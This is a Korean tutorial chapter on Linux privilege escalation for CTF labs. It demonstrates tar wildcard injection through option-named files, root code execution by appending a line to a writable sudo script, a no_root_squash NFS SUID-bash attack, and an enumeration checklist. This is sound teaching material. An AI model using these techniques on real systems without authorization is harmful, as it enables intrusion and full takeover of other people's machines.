Step 259. 리눅스 권한 상승 완전 정복 — 패턴에서 체크리스트로

Step 259. 리눅스 권한 상승 완전 정복 — 패턴에서 체크리스트로

Level 3 — CTF 실전과 공격 스킬 심화 | 난이도 ★★★★☆ | 예상 소요 시간 4시간

전제: Step 125의 권한 상승 입문(정찰 명령 여섯 개), Step 126의 linPEAS 자동 열거를 마쳤다. THM/HTB 머신에서 SUID·sudo·cron 상승을 몇 번 경험했다.

  • 준비물: 리눅스 환경(WSL 가능). cron 와일드카드·sudo 스크립트·capabilities 실험은 /tmp에서 직접 실측합니다. NFS 공격 장면은 출력 예시로 제시합니다 (이 환경에는 NFS 서버가 없습니다).
  • ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.

Step 125~126에서 상승 정찰을 배웠고, 머신들을 풀면서 SUID·sudo·cron 같은 패턴을 흩어져 만났습니다. 오늘은 그 흩어진 경험을 한 장의 완전한 체크리스트로 조립하는 날입니다. 새 머신에 쉘을 얻었을 때 위에서부터 기계적으로 돌릴 수 있는 "개인 privesc 매뉴얼"을 만드는 것이 목표입니다. 중요한 것은 패턴 암기가 아니라 "왜 이 설정이 위험한가"의 이해입니다 — 이해한 사람만 변형된 함정에도 대응합니다.


1. 학습 목표

이 챕터를 끝내면 다음을 할 수 있습니다:

  • 리눅스 권한 상승의 여덟 가지 패턴을 나열하고 각각의 탐색 명령을 안다
  • getcap -r로 capabilities를 열거하고 위험한 capability를 골라낸다
  • cron 와일드카드 주입(tar)의 원리를 실험으로 설명한다
  • sudo 스크립트의 쓰기 권한 실수가 왜 곧바로 root인지 시연한다
  • NFS no_root_squash 공격의 흐름을 설명한다
  • 위 내용을 한 장짜리 개인 체크리스트로 문서화한다

2. 배경 지식 — 오늘의 도구와 개념

오늘의 도구 한눈에 보기

구분 내용
언어·환경 리눅스 셸 (WSL /tmp 실측 + NFS 장면 출력 예시)
오늘의 명령 getcap -r, setcap, showmount -e, mount -t nfs, tar 와일드카드 주입, ls -l·namei 권한 추적
필요한 개념 capabilities, GTFOBins 카테고리(suid/sudo), cron 와일드카드 주입, root_squash
오늘의 산출물 리눅스 privesc 체크리스트 v1 — 새 머신에서 위에서부터 돌리는 한 장 문서

2-1. 패턴의 전체 지도 — 여덟 개의 문

리눅스 권한 상승의 "설정 실수" 계열은 여덟 개의 문으로 정리됩니다. Step 125에서 배운 것(굵은 글씨)과 오늘 새로 보강하는 것을 나란히 놓으면:

  1. SUID 파일find / -perm /4000 → GTFOBins 조회
  2. sudo 규칙sudo -l → 허용 명령의 탈출 구멍
  3. cron 작업/etc/crontab → 스크립트 쓰기 권한, 와일드카드 주입(오늘 실측)
  4. 쓰기 가능한 파일 — 시스템 스크립트·설정이 내가 고칠 수 있음
  5. 커널 익스플로잇 — 오래된 커널의 알려진 버그
  6. capabilities (오늘) — SUID를 세분화한 권한 부여, cap_setuid 등이 위험
  7. NFS 공유 (오늘) — no_root_squash가 걸린 공유 폴더
  8. 비밀번호 발견 — 설정 파일·히스토리에 박힌 자격증명 재사용

문이 여덟 개라는 뜻은 "여덟 개를 빠짐없이 두드리는 목록"이 있어야 한다는 뜻입니다. 오늘의 산출물이 바로 그 목록입니다.

2-2. capabilities — SUID의 쪼개진 형태

SUID는 "실행하는 동안 소유자(root)의 모든 권한"을 줍니다. 너무 과하다는 문제의식에서 나온 것이 capabilities — root의 권한을 약 40개의 조각으로 나눠 필요한 것만 붙이는 장치입니다. 예를 들어 ping은 raw 소켓만 필요하므로 cap_net_raw 하나면 충분합니다.

실제로 최신 Ubuntu의 ping은 SUID가 아니라 capability로 동작합니다 (3-1에서 실측합니다). 보안 설계로는 진보입니다 — 그런데 관리자가 실수로 cap_setuid("uid를 바꿀 수 있는 권한" = 사실상 root)를 일반 프로그램에 붙여 두면, SUID보다 눈에 잘 안 띄는 상승 경로가 됩니다. find -perm /4000에는 잡히지 않으니까요. 열거 명령은 getcap -r / 2>/dev/null입니다.

2-3. cron 와일드카드 주입 — 별표가 명령이 되는 순간

관리자가 크론에 이런 작업을 등록했다고 합시다:

* * * * * root cd /home/user/uploads && tar czf /backup/uploads.tgz *

끝의 *은 쉘이 디렉터리의 파일 목록으로 풀어 줍니다 — 그런데 파일 이름이 --checkpoint-action=exec=sh run.sh 같은 옵션 모양이면, tar은 그것을 파일이 아니라 옵션으로 해석합니다. *은 알파벳순으로 펼쳐지므로 -로 시작하는 이름들이 명령어 인자 자리에 들어갑니다. 결과: root 크론이 실행하는 tar이 공격자가 심어 둔 스크립트를 root 권한으로 실행합니다. 3-4에서 이 원리를 /tmp에서 직접 재현합니다.

2-4. NFS와 no_root_squash — 네트워크 너머의 문

NFS(Network File System)는 다른 컴퓨터의 디렉터리를 내 디스크처럼 마운트하는 공유 방식입니다. 여기에는 root_squash라는 안전장치가 기본으로 켜져 있습니다 — 원격에서 접속한 root를 nobody 권한으로 "눌러(squash)" 버리는 것입니다.

문제는 관리자가 no_root_squash를 명시한 공유입니다. 원격 root가 진짜 root로 인정되므로, 공격자는 자기 머신에서 root로 SUID 바이너리를 만들어 공유 폴더에 올리고, 타깃에서 그것을 실행해 root를 얻습니다. 탐색 명령은 showmount -e 타깃IP(공유 목록 조회)이고, /etc/exports 파일에 no_root_squash가 보이면 확정입니다. 3-5에서 출력 예시로 흐름을 봅니다.


3. 따라 하기

오늘의 실험은 전부 /tmp/lab259 아래에서 진행합니다 — 시스템 설정은 건드리지 않습니다. 실측은 2026-09-09 WSL(Ubuntu 24.04)에서 수행했습니다.

3-1. capabilities 열거 — getcap

getcap -r /usr 2>/dev/null

출력 (2026-09-09 WSL 실측):

/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin,cap_sys_nice=ep
/usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_setgid,cap_setuid,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin=p
/usr/bin/ping cap_net_raw=ep

읽는 법: getcap -r /이 전체 스캔이지만, WSL에서는 /mnt/c까지 헤매느라 매우 느립니다 (이 실측에서도 전체 스캔은 시간 초과로 /usr로 범위를 좁혔습니다 — 타깃에서는 /usr부터 보는 것이 실용적입니다). 세 줄을 봅시다:

  • ping cap_net_raw=ep — raw 소켓 권한만. 정상이자 모범 사례입니다. 바로 아래에서 SUID와 대조해 봅니다.
  • snap-confine ... cap_setuid ... — 여러 capabilities 중 cap_setuid가 보입니다. snapd의 핵심 부품이라 필요해서 붙은 것이지만, 이 권한 이름이 뜨는 순간 공격자는 눈을 빛냅니다 — cap_setuid는 "uid를 0으로 바꿀 수 있는 권한", 즉 사실상 root로 가는 표이기 때문입니다.
  • 여러분의 체크리스트 규칙: getcap 출력에서 cap_setuid·cap_dac_override·cap_sys_admin이 보이면 최우선 후보.

참고로 =ep·=p 꼬리표는 권한의 활성화 범위(effective/permitted) 표시입니다. 지금은 "붙어 있다/없다"만 구분하면 충분합니다.

3-2. SUID와 capability의 대조 — ping과 passwd

ls -l /usr/bin/ping
ls -l /usr/bin/passwd

출력 (2026-09-09 WSL 실측):

-rwxr-xr-x 1 root root 89800 Jul 24  2025 /usr/bin/ping
-rwsr-xr-x 1 root root 64152 May 30  2024 /usr/bin/passwd

읽는 법: passwd에는 소유자 자리에 s(SUID)가 있고, ping에는 없습니다 — 그런데 ping은 잘 작동합니다. capability(cap_net_raw)가 SUID를 대체한 것입니다. 이 대조가 가르치는 것: ① 최신 시스템일수록 SUID 목록은 짧아지고 capability 목록이 늘어난다. ② 따라서 find -perm /4000만 돌리는 열거는 시대에 뒤처진다 — SUID와 getcap을 반드시 나란히 돌려야 합니다.

3-3. sudo 스크립트의 쓰기 권한 — "스크립트를 sudo로 열어 줬는데, 그 파일을 내가 고칠 수 있다"

관리자가 "백업 스크립트만 sudo로 실행하게 해 주자"고 했다고 합시다. 그런데 스크립트 파일의 권한을 실수로 777로 뒀습니다. 이 상황을 /tmp에서 모사합니다 (2026-09-09 WSL 실측):

mkdir -p /tmp/lab259/sudo_demo && cd /tmp/lab259/sudo_demo
printf '#!/bin/bash\necho "백업을 시작합니다..."\ntar czf data.tgz /etc/hostname\n' > backup.sh
chmod 777 backup.sh          # ← 관리자의 실수: 누구나 고칠 수 있음
ls -l backup.sh

출력:

-rwxrwxrwx 1 root root 101 Sep  9 20:03 backup.sh

이제 공격자(낮은 권한)가 할 일은 한 줄 추가뿐입니다:

printf 'id > /tmp/lab259/sudo_demo/sudo_pwned.txt\n' >> backup.sh
sudo /tmp/lab259/sudo_demo/backup.sh        # 관리자가 열어 둔 sudo 규칙 모사
cat /tmp/lab259/sudo_demo/sudo_pwned.txt

출력 (2026-09-09 실측):

백업을 시작합니다...
tar: Removing leading `/' from member names
uid=0(root) gid=0(root) groups=0(root)

읽는 법: backup.sh는 겉보기에 무해한 백업 스크립트지만, 제가 추가한 id > ... 한 줄이 root 권한으로 실행돼 결과 파일을 남겼습니다. 이 실험 환경은 root라 결과도 root로 찍혔지만, 원리가 핵심입니다 — "sudo로 실행되는 스크립트의 내용을 내가 바꿀 수 있다" = 그 스크립트는 곧 나의 root 실행기입니다. 랩에서는 여기에 리버스 쉘 한 줄을 심습니다. 체크리스트 규칙: sudo -l에 스크립트 경로가 보이면 즉시 ls -lnamei -l 경로파일과 부모 디렉터리 전체의 쓰기 권한을 확인합니다 — 파일은 잠겨 있어도 상위 폴더가 쓰기 가능하면 파일을 통째로 교체할 수 있기 때문입니다.

3-4. cron 와일드카드 주입 — tar 옵션 모양 파일 심기

2-3의 원리를 재현합니다. /tmp/lab259/backup_src가 "root 크론이 tar czf backup.tgz *을 실행하는 디렉터리"라고 가정합니다 (2026-09-09 WSL 실측):

mkdir -p /tmp/lab259/backup_src && cd /tmp/lab259/backup_src
echo "user document 1" > report.txt
echo "user document 2" > memo.txt
echo "id > /tmp/lab259/out/pwned.txt" > run.sh && chmod +x run.sh

# 핵심 두 개 — "파일 이름"이 tar의 옵션 모양
touch -- --checkpoint=1
touch -- "--checkpoint-action=exec=sh run.sh"
ls -la

출력:

total 20
-rw-r--r-- 1 root root    0 Sep  9 20:03 --checkpoint-action=exec=sh run.sh
-rw-r--r-- 1 root root    0 Sep  9 20:03 --checkpoint=1
drwxr-xr-x 2 root root 4096 Sep  9 20:03 .
drwxr-xr-x 4 root root 4096 Sep  9 20:03 ..
-rw-r--r-- 1 root root   16 Sep  9 20:03 memo.txt
-rw-r--r-- 1 root root   16 Sep  9 20:03 report.txt
-rwxr-xr-x 1 root root   31 Sep  9 20:03 run.sh

ls에는 그저 빈 파일 둘로 보입니다. 이제 root 크론을 모사해 tar를 실행합니다:

tar czf /tmp/lab259/out/backup.tgz *
cat /tmp/lab259/out/pwned.txt

출력 (2026-09-09 실측):

uid=0(root) gid=0(root) groups=0(root)

읽는 법: *이 펼쳐지면서 --checkpoint=1--checkpoint-action=...이 tar의 옵션으로 들어가, 첫 번째 파일을 처리하는 순간 run.sh가 실행됐습니다. "백업"이라는 정상 기능이 공격자의 코드 실행기가 된 것입니다. 체크리스트 규칙: /etc/crontab·/etc/cron.d/에서 *을 쓰는 tar·cp·chmod·chown 명령을 찾고, 그 대상 디렉터리가 내가 쓸 수 있는지 확인합니다. 참고로 이 환경의 /etc/cron.d/에는 e2scrub_all 하나만 있었고 와일드카드 사용은 없었습니다 (2026-09-09 실측 — "없음"도 열거 결과입니다).

3-5. NFS no_root_squash — 출력 예시

이 환경에는 NFS 서버가 없습니다 (showmount 명령도 없음 — 2026-09-09 실측). 랩에서의 흐름을 출력 예시로 봅니다:

# 1. 타깃의 NFS 공유 목록 조회
showmount -e TARGET_IP
# Export list for TARGET_IP:
# /srv/nfs_share *

# 2. 내 머신(Kali)에 마운트
mkdir /mnt/nfs
mount -t nfs TARGET_IP:/srv/nfs_share /mnt/nfs

# 3. 공유 안의 exports 설정 확인 — no_root_squash 발견
cat /mnt/nfs/../exports 2>/dev/null; mount | grep nfs

# 4. Kali에서 root로 SUID 쉘을 만들어 공유에 배치
cp /bin/bash /mnt/nfs/rootbash
chmod 4755 /mnt/nfs/rootbash

# 5. 타깃 쉘에서 실행 → no_root_squash라 소유자 root 그대로
/srv/nfs_share/rootbash -p
id
# uid=1000(user) gid=1000(user) euid=0(root) groups=...

읽는 법: 핵심은 3번의 no_root_squash와 5번의 euid=0(root)입니다. root_squash가 켜져 있었다면(정상 기본값) 4번에서 만든 파일의 소유자가 nobody로 눌려 버려 SUID가 작동하지 않습니다. 방어자 관점에서는 한 줄짜리 설정 차이 — 공격자 관점에서는 문이 열리고 닫히는 차이입니다.

3-6. 체크리스트 조립 — 오늘의 산출물

지금까지의 패턴을 "새 머신에서 위에서부터 치는 순서"로 조립합니다. 순서의 원칙은 싸고 안전한 것부터 (읽기 명령 → 설정 확인 → 마지막이 커널):

[ ] 1. id / sudo -l                      — 지금 권한, 허용된 sudo
[ ] 2. uname -a / cat /etc/os-release    — 커널 익스플로잇 후보 판별(보류)
[ ] 3. find / -perm /4000 -type f 2>/dev/null   — SUID → GTFOBins
[ ] 4. getcap -r /usr 2>/dev/null        — capabilities → cap_setuid 등
[ ] 5. cat /etc/crontab; ls /etc/cron.d/ — 크론 → 스크립트 쓰기? 와일드카드?
[ ] 6. find / -writable -type f 2>/dev/null | head — 쓰기 가능 파일
[ ] 7. cat /etc/exports; showmount -e IP — NFS no_root_squash
[ ] 8. grep -r "password" /etc ...       — 박힌 자격증명
[ ] 9. linPEAS                           — 사람 체크리스트의 감사관
[ ] 10. (최후) 커널 익스플로잇            — 다운 위험 감수

이것이 체크리스트 v1의 뼈대입니다. 미션에서 각 항목에 "왜 위험한가" 한 줄을 붙여 완성합니다.


4. 미션과 연습문제

미션 — 리눅스 privesc 체크리스트 v1 완성

  1. 3-6의 뼈대에 여덟 패턴 각각의 ① 탐색 명령 ② 악용 조건 ③ "왜 위험한가" 한 줄을 채워 privesc-체크리스트-v1.md를 완성합니다
  2. 3-3의 sudo 스크립트 실험과 3-4의 tar 와일드카드 실험을 여러분의 /tmp에서 재현하고 출력을 저장합니다
  3. getcap -r /usr 2>/dev/null의 출력에서 위험 capability 세 개(cap_setuid·cap_dac_override·cap_sys_admin)가 있는지 확인하고 결과를 기록합니다
  4. GTFOBins에서 자주 보이는 명령 다섯 개(find, vim, less, python, cp)의 SUID 레시피를 찾아 체크리스트에 링크합니다
  5. (랩이 있다면) THM/HTB 머신 한 대에 체크리스트를 위에서부터 적용하고, 어떤 항목에서 경로가 열렸는지 기록합니다

연습문제

문제 1. ping에 SUID가 없는데도 작동하는 이유를 capability 개념으로 설명해 보세요.

문제 2. cron의 tar czf backup.tgz *에서 공격자가 심는 파일 두 개의 이름과 각각의 역할을 말해 보세요.

문제 3. sudo로 실행이 허용된 스크립트 파일 자체는 읽기 전용인데, 그 부모 디렉터리가 쓰기 가능하면 왜 여전히 위험한가요?

문제 4. no_root_squash가 켜진 NFS 공유에서 SUID 공격이 성립하는 이유를, root_squash의 기본 동작과 대조해서 설명해 보세요.


5. 모범 답안과 완료 기준

미션 모범 답안

체크리스트 v1의 완성 예시 (일부 — ①②③ 순서로 정리):

패턴 탐색 명령 악용 조건 왜 위험한가
SUID find / -perm /4000 GTFOBins 등재 명령 소유자(root) 권한으로 실행됨
sudo sudo -l NOPASSWD + 탈출 가능 명령 허용 명령이 쉘 실행 기능을 내포
cron 스크립트 cat /etc/crontab 스크립트·상위 폴더 쓰기 가능 root가 내 내용을 실행해 줌
cron 와일드카드 crontab의 * 탐색 대상 디렉터리 쓰기 가능 파일 이름이 옵션으로 해석됨 (3-4 실측)
capabilities getcap -r /usr cap_setuid 등 부여 SUID 대체재 = 조용한 root 표
쓰기 가능 파일 find / -writable 시스템 설정·스크립트 포함 설정 변경이 곧 권한 변경
NFS showmount -e no_root_squash 원격 root가 진짜 root로 인정됨
박힌 비밀번호 grep -r password 실제 값 발견 자격증명 재사용으로 상승

검증하는 법: ① 두 실험(tar 주입, sudo 스크립트)의 결과 파일(pwned.txt, sudo_pwned.txt)에 uid=0(root)가 찍혔는가. ② 체크리스트의 각 행에 "왜 위험한가"가 자기 문장으로 쓰여 있는가 — 베낀 문장이면 변형에 대응 못 합니다. ③ getcap 실측 결과가 기록에 있는가 — 위험 capability가 없어도 "없음 확인"이 기록이면 됩니다.

연습문제 해답

문제 1 해답. ping에는 cap_net_raw=ep capability가 부여돼 있습니다 (3-1 실측). raw 소켓을 여는 데 필요한 권한 조각만 받았으므로 SUID 없이 동작합니다. root의 전체 권한 대신 필요한 한 조각만 주는 것이 capabilities의 설계 사상이며, 3-2에서 ls -lpasswds와 대조해 확인했습니다.

문제 2 해답. --checkpoint=1--checkpoint-action=exec=sh run.sh. 첫 번째는 "파일 1개 처리할 때마다 체크포인트를 울려라", 두 번째는 "체크포인트에서 이 명령을 실행해라"는 tar 옵션입니다. 쉘이 *을 펼칠 때 이 파일 이름들이 tar의 인자로 들어가 옵션으로 해석되고, 첫 파일 처리 시점에 run.sh가 실행됩니다 (3-4 실측에서 pwned.txt 생성으로 확인).

문제 3 해답. 디렉터리에 쓰기 권한이 있으면 파일의 이름을 지우고 새 파일을 같은 이름으로 만들 수 있습니다 — 파일 내용을 못 고쳐도 파일을 통째로 교체하는 것은 디렉터리 권한이 결정합니다. 그래서 권한 확인은 ls -l 파일로 끝나지 않고 namei -l 경로로 경로 전체를 따라가야 합니다.

문제 4 해답. root_squash(기본값)는 NFS로 접속한 원격 root를 nobody로 눌러 버립니다 — 그래서 공유에 SUID 바이너리를 올려도 소유자가 nobody가 돼 상승이 안 됩니다. no_root_squash는 이 눌림을 끄는 설정이라, 내 머신에서 root로 만든 chmod 4755 바이너리가 타깃에서도 root 소유 SUID로 살아남아, 타깃에서 실행하면 euid 0을 얻습니다 (3-5 출력 예시).

완료 기준 체크리스트

  • [ ] 여덟 패턴을 순서 없이도 전부 나열할 수 있다
  • [ ] getcap -r 출력에서 위험 capability 세 개를 골라낼 수 있다
  • [ ] ping(SUID 없음)과 passwd(SUID)의 대조를 설명할 수 있다
  • [ ] cron 와일드카드 주입을 /tmp에서 재현하고 uid=0 결과를 얻었다
  • [ ] sudo 스크립트 쓰기 권한 실수의 위험을 시연할 수 있다
  • [ ] NFS no_root_squash 공격의 다섯 단계를 말할 수 있다
  • [ ] 미션: privesc-체크리스트-v1.md를 완성했다

6. 흔한 실수와 해결

벽 1. getcap이 너무 오래 걸린다

증상: getcap -r / 2>/dev/null이 몇 분째 안 끝납니다.

원인: WSL에서는 /mnt/c 같은 마운트 영역까지 재귀 탐색합니다. 이 실측 환경에서도 전체 스캔은 시간 초과됐습니다.

해결: /usr부터 좁혀 시작하세요 — getcap -r /usr 2>/dev/null. 타깃 머신에서도 실행 파일이 사는 /usr, /bin, /sbin, /opt 순으로 좁혀 도는 것이 실용적입니다.

벽 2. 와일드카드 파일이 "지워지지" 않는다

증상: 실험 후 정리하려고 rm --checkpoint=1을 쳤더니 옵션 오류가 납니다.

rm: unrecognized option '--checkpoint=1'

원인: rm도 그 이름을 옵션으로 해석합니다 — 주입이 먹히는 바로 그 원리가 청소에서도 나타납니다.

해결: --로 "여기서부터는 옵션 아님"을 선언하세요 — rm -- --checkpoint=1. 또는 rm ./--checkpoint=1처럼 경로를 붙입니다. 파일을 만들 때 touch --를 썼던 것과 같은 이유입니다.

벽 3. sudo -l에 스크립트가 있는데 쓰기가 안 된다

증상: ls -l에서 -rwxr-xr-x 1 root root — 내 쓰기 권한이 없습니다.

원인: 파일 권한만 보고 포기한 상태입니다. 진짜 질문은 "경로 전체 중 내가 지배하는 층이 있는가"입니다.

해결: namei -l /opt/scripts/backup.sh로 경로의 모든 층을 보세요. 파일은 잠겨 있어도 상위 폴더가 그룹·기타 쓰기로 열려 있으면 교체가 가능합니다 (연습문제 3 참조). 랩에서 이 함정은 파일 권한이 멀쩡해 보이게 만들어 두는 식으로 변형됩니다.

벽 4. tar 주입이 안 먹힌다

증상: 파일을 심었는데 크론이 돌아도 아무 일이 없습니다.

원인 후보: ① 크론 명령에 와일드카드가 없음(tar czf backup.tgz /home/user/uploads처럼 디렉터리를 직접 지정하면 파일 이름이 인자로 안 들어감). ② GNU tar이 아닌 구현. ③ 크론이 아직 안 돌았음.

해결: ①이면 이 경로는 무효 — 기록하고 다음 문으로. ③이면 실험에서는 3-4처럼 수동으로 tar ... *을 실행해 원리만 검증하세요. "크론을 기다리는 것"과 "원리를 검증하는 것"을 분리하는 것이 랩 공략의 요령입니다.

벽 5. showmount 자체가 없다

증상 (2026-09-09 실측): which showmount → 아무 출력 없음.

원인: nfs-common 패키지가 설치되지 않은 것입니다.

해결: 랩의 Kali에는 기본 포함돼 있습니다. WSL 실험 환경에서는 3-5처럼 개념과 출력 예시로 익히면 충분합니다 — 그리고 타깃 쪽에서 NFS를 의심하게 만드는 진짜 신호는 nmap의 2049/tcp open nfs입니다. 공격 머신의 도구 유무보다 타깃의 열린 포트가 열거의 출발점임을 기억하세요.


7. 정리

오늘의 개념

개념 한 줄 설명
capabilities root 권한을 조각낸 부여 장치 — cap_setuid가 최위험
getcap 열거 SUID를 대체하는 시대의 필수 정찰 — find -perm /4000의 짝
cron 와일드카드 주입 *이 펼쳐지며 파일 이름이 옵션이 되는 공격 (tar 등)
sudo 스크립트 함정 실행 허용된 스크립트가 쓰기 가능 = 나의 root 실행기
root_squash NFS의 원격 root 눌림(기본) — no_root_squash가 문을 연다
체크리스트 v1 싸고 안전한 것부터 위에서 두드리는 개인 매뉴얼

오늘의 명령어

명령 하는 일
getcap -r /usr 2>/dev/null capability 부여 파일 열거
ls -l /usr/bin/ping capability 시대의 증거 (SUID 없음)
touch -- --checkpoint=1 tar 옵션 모양 파일 심기 (실험)
tar czf out.tgz * 와일드카드 주입의 발사대 (크론 모사)
namei -l 경로 경로 전 층의 권한 추적
showmount -e IP NFS 공유 목록 조회 (출력 예시)
mount -t nfs IP:/share /mnt/nfs NFS 마운트 (출력 예시)

명령어보다 중요한 감각

오늘 만든 체크리스트의 값은 목록이 아니라 각 행의 "왜"에 있습니다. 와일드카드 주입을 이해한 사람은 cp *, chmod * 변형에도 걸리지 않고, capabilities를 이해한 사람은 SUID가 깨끗한 시스템에서도 길을 찾습니다. 그리고 여덟 개의 문 전부가 사실 하나의 문입니다 — "높은 권한이 실행하는 것을 낮은 권한이 바꿀 수 있는가?" 스크립트든, 파일 이름이든, 공유 폴더든, 이 질문 하나로 모든 패턴이 같은 얼굴로 보이기 시작하면 오늘의 목표는 달성입니다.


전부 체크되면 Step 259 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.